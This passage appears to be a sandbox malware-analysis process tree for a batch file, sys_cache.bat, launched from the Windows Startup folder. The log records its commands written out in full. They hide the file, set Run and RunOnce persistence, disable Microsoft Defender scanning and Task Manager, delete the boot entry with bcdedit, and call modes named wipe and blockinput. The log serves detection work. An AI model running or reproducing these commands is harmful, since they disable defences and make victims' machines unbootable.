        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
        7⤵
        
        PID:6968
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        8⤵
        Executes a command shell one-liner
        
        PID:8404
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        9⤵
        
        PID:9104
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" spam
        6⤵
        
        PID:6832
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:6924
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:2940
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:2200
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:5756
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        8⤵
        Executes a command shell one-liner
        
        PID:5320
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        9⤵
        
        PID:2264
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" deskdump
        6⤵
        
        PID:7664
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:10472
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:9628
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:4516
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9928
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        8⤵
        
        PID:6824
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        9⤵
        
        PID:2996
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" blockshutdown
        6⤵
        
        PID:8928
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:10664
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:8528
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:6156
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
        7⤵
        
        PID:10520
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        8⤵
        Executes a command shell one-liner
        
        PID:5608
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        9⤵
        
        PID:7292
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" blockinput
        6⤵
        
        PID:8572
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:11228
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:4400
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:5764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9756
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        8⤵
        
        PID:3052
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        9⤵
        
        PID:9064
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        6⤵
        
        PID:4604
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:6444
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:6552
      - C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        6⤵
        Modifies boot configuration data using bcdedit
        
        PID:6512
      - C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        6⤵
        Delays execution with timeout.exe
        
        PID:3836
      - C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        6⤵
        Discovers running processes
        
        PID:872
      - C:\Windows\system32\find.exe
        
        find /c /v ""
        6⤵
        
        PID:7196
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" wipe
    3⤵
    PID:4864
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:2080
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:3236
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5144
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4920
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        
        PID:2524
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:2052
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:896
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:4264
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        Views/modifies file attributes
        
        PID:3844
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:1268
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:1728
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:6180
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:6432
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:4108
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:6260
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:6676
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:8460
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" fill
    3⤵
    PID:2400
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:3392
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:3592
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:5680
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      PID:3136
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        
        PID:3024
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:2172
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:1640
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:4600
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        Views/modifies file attributes
        
        PID:5144
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:4724
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:2700
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:2292
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:6288
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:4488
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:2532
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:7108
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:2300
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:5124
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:8204
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:9496
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:7296
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" kill_loop
        6⤵
        Executes a command shell one-liner
        
        PID:10476
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:6408
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" wipe
        6⤵
        
        PID:9900
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:7276
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" fill
        6⤵
        Executes a command shell one-liner
        
        PID:7612
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:10244
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" spam
        6⤵
        Executes a command shell one-liner
        
        PID:6564
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:9264
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" deskdump
        6⤵
        Executes a command shell one-liner
        
        PID:9768
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:11212
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" blockshutdown
        6⤵
        
        PID:11144
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:8624
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" blockinput
        6⤵
        
        PID:10204
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:6124
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        6⤵
        
        PID:5436
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" spam
    3⤵
    PID:1888
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:4592
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:4840
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4288
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      PID:3044
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        Executes a command shell one-liner
        
        PID:2132
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:4812
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:3412
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:5556
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        Views/modifies file attributes
        
        PID:3616
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:4900
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:2080
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:4564
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:6404
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:3036
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:6920
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:6040
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:8276
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" deskdump
    3⤵
    - Executes a command shell one-liner
    PID:5768
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:2448
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1636
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:4064
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:4716
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        
        PID:5828
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:3532
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:1108
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:5028
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        
        PID:5824
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:2172
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:936
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:1996
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:4468
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:936
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:2496
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:6392
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:6368
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" blockshutdown
    3⤵
    PID:1280
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:5104
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:1412
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:6048
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:2152
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        Executes a command shell one-liner
        
        PID:3716
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:3244
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:2952
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:4076
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        Views/modifies file attributes
        
        PID:2432
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:5576
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:1616
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:1664
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:4416
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:2848
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:7120
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:1664
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:6580
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:9892
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:9424
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:7512
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:9292
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" kill_loop
        6⤵
        Executes a command shell one-liner
        
        PID:6844
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:9252
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:8332
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:10780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7188
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" wipe
        6⤵
        Executes a command shell one-liner
        
        PID:6360
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:9220
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:8740
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:3300
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" fill
        6⤵
        
        PID:9312
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:7184
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:9780
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:10644
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" spam
        6⤵
        
        PID:6088
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:1084
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:5704
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:7264
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" deskdump
        6⤵
        
        PID:9180
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:6168
        
